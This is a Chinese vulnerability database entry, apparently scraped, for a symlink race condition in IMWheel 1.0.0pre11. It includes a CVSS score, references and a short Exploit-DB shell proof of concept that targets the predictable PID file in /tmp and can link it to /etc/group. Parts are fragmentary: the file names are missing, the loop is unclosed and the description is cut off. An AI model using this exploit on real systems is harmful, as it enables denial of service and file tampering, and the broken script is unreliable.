发布时间 :2004-12-31 00:00:00
修订时间 :2008-09-05 00:00:00

[原文]Race condition in IMWheel 1.0.0pre11 and earlier, when running with the -k option, allows local users to cause a denial of service (IMWheel crash) and possibly modify arbitrary files via a symlink attack on the file.


        IMWheel 1.0.0pre11以及之前的版本中争用条件存在漏洞。当运行时使用- k选项时,本地用户借助imwheel.pid文件的符号连接攻击导致服务拒绝(IMWheel崩溃

- CVSS (基础分值)

CVSS分值: 6.9 [中等(MEDIUM)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: MEDIUM [漏洞利用存在一定的访问条件]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-362 [使用共享资源的并发执行不恰当同步问题(竞争条件)]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  XF  imwheel-race-condition(17082)
(UNKNOWN)  BID  11008
(UNKNOWN)  FULLDISC  20040820 CAU-2004-0002 - imwheel Predictable PidFile Name Race Condition

- 漏洞信息

中危 竞争条件
2004-12-31 00:00:00 2007-10-09 00:00:00
        IMWheel 1.0.0pre11以及之前的版本中争用条件存在漏洞。当运行时使用- k选项时,本地用户借助imwheel.pid文件的符号连接攻击导致服务拒绝(IMWheel崩溃

- 公告与补丁

        Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: .

- 漏洞信息 (24398)

IMWheel 1.0 Predictable Temporary File Creation Vulnerability (EDBID:24398)
linux local
2004-08-23 Verified
0 I)ruid
N/A [点击下载]

IMWheel is reported prone to a predictable temporary file creation vulnerability. This issue is a race condition error and may allow a local attacker to carry out denial of service attacks against other users and possibly gain elevated privileges.

This vulnerability was identified in IMWheel 1.0.0pre11, however, other versions may be affected as well. 


# you may have to adjust the number of characters in the print to
# get the timing correct for the injection. Fewer characters seems
# to prevent this from working. Optionally, replacing the echo
# with the symlink creation at the end of this script seems to work
# fairly regularly.

echo `perl -e 'print "9" x $CHARCOUNT;'` > /tmp/
while [[ $? != 0 ]]; do
echo `perl -e 'print "9" x $CHARCOUNT;'` > /tmp/

# Wait for imwheel to write it's pid to the new file
sleep 1
# Wipe the contents of the PID file.
echo > /tmp/

# Optionally, replace the new file with a link
# rm /tmp/
# ln -s /etc/group /tmp/

echo "Exploit Successful!!!" 		

- 漏洞信息

IMWheel Insecure Temporary File Creation
Local Access Required Race Condition
Loss of Integrity
Exploit Public Vendor Verified

- 漏洞描述

IMWheel contains a flaw that may allow a malicious user to take control of the temporary file on the server. The issue is triggered when IMWheel creates an insecure temporary file ( which manages the running IMWheel processes. It is possible that the flaw may allow a local attacker to escalate priveleges resulting in a loss of integrity.

- 时间线

2004-08-23 Unknow
2004-08-23 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者